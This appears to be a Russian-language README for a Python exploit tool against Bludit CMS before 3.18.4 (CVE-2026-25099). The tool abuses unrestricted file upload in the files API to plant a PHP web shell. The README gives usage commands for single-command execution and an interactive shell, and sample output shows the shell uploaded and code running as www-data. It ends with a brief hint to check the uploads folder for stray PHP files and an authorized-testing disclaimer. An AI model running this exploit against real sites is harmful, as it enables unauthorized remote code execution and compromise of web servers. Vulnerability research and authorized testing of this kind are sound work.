yahiahamza/cve-2026-25099Python-эксплойт для Bludit CMS API, использующий неограниченную загрузку файлов, приводящую к удалённому выполнению кода, с возможностью выполнения команд и интерактивной оболочки для авторизованного тестирования.
Версии Bludit CMS до 3.18.4 позволяют аутентифицированному атакующему с действительным API-токеном загружать файлы любого типа и расширения через конечную точку POST /api/files/<page-key>. Функция uploadFile() не выполняет проверку расширения файла или его содержимого, что позволяет загружать PHP-веб-шеллы и выполнять их от имени пользователя www-data.
# Выполнение одной команды
python3 CVE-2026-25099.py -u http://target -t "API_TOKEN" -c "id"
# Интерактивная оболочка
python3 CVE-2026-25099.py -u http://target -t "API_TOKEN"
[*] CVE-2026-25099 - Загрузка файла через API Bludit CMS с последующим выполнением кода (RCE)
[*] Цель: http://target
[*] Получение ключа страницы...
[+] Ключ страницы: create-your-own-content
[*] Загрузка веб-шелла...
[+] Шелл загружен: http://target/bl-content/uploads/pages/create-your-own-content/abcdefgh.php
[*] Проверка RCE...
[+] RCE подтверждён: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Интерактивная оболочка (введите 'exit' для выхода)
shell> whoami
www-data
shell> grep BLUDIT_VERSION /var/www/html/bl-kernel/boot/init.php
define('BLUDIT_VERSION', '3.18.2');
/bl-content/uploads/ на предмет неожиданных PHP-файловYahia Hamza - https://yh.do
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Используйте ответственно и только против систем, на тестирование которых у вас есть разрешение.